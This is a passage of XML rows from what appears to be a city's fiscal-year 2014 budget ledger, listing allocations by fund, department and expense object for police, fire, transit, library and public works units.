<row _id="9610"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2563.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2563.0</total></row>
<row _id="9611"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>69991.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>69991.0</total></row>
<row _id="9612"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1279.0</july><august>0</august><september>0</september><october>0</october><november>118637.0</november><december>0</december><january>7870.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>125228.0</total></row>
<row _id="9613"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42202.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42202.0</total></row>
<row _id="9614"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="9615"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3448554.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3448554.0</total></row>
<row _id="9616"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>70000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>70000.0</total></row>
<row _id="9617"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401330.0</object><object_description>MALL / DOWNTOWN MAINT DISTRICT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-16000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16000.0</total></row>
<row _id="9618"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="9619"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>314.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>314.0</total></row>
<row _id="9620"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>131998.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>131998.0</total></row>
<row _id="9621"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2800000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2800000.0</total></row>
<row _id="9622"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5593.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5593.0</total></row>
<row _id="9623"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>75867.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75867.0</total></row>
<row _id="9624"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3895.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3895.0</total></row>
<row _id="9625"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1045.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1045.0</total></row>
<row _id="9626"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>95.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>95.0</total></row>
<row _id="9627"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544040.0</object><object_description>BOOKS/PAMPHLETS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>570446.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>570446.0</total></row>
<row _id="9628"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>95.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>95.0</total></row>
<row _id="9629"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555190.0</object><object_description>CORPORATE LIBRARY SYSTEMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="9630"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="9631"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6482.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6482.0</total></row>
<row _id="9632"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17704.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17704.0</total></row>
<row _id="9633"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>110000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110000.0</total></row>
<row _id="9634"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="9635"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>80000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
<row _id="9636"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>256858.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>256858.0</total></row>
<row _id="9637"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>842.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>458344.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>458344.0</total></row>
<row _id="9638"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19794.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19794.0</total></row>
<row _id="9639"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>226556.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>226556.0</total></row>
<row _id="9640"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3821078.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>60317</december><january>-1568.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3879827.0</total></row>
<row _id="9641"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="9642"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>102000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>102000.0</total></row>
<row _id="9643"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>195500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>195500.0</total></row>
<row _id="9644"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511040.0</object><object_description>COUNCIL/BOARD ALLOWANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2556.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2556.0</total></row>
<row _id="9645"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577860.0</object><object_description>TORCA REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>98910.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>98910.0</total></row>
<row _id="9646"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578020.0</object><object_description>HOME PROGRAM ADMIN</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62253.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62253.0</total></row>
<row _id="9647"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code>856.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1111443.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1111443.0</total></row>
<row _id="9648"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522030.0</object><object_description>INVESTIGATION EXPENSES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="9649"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522050.0</object><object_description>MEDICAL EXAMS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="9650"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4750.0</total></row>
<row _id="9651"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1805.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1805.0</total></row>
<row _id="9652"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3135.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3135.0</total></row>
<row _id="9653"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>86155.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>86155.0</total></row>
<row _id="9654"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6461.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6461.0</total></row>
<row _id="9655"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13888.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13888.0</total></row>
<row _id="9656"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18228.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18228.0</total></row>
<row _id="9657"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2038.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2038.0</total></row>
<row _id="9658"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5301551.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>84399</december><january>49098.08</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5435048.08</total></row>
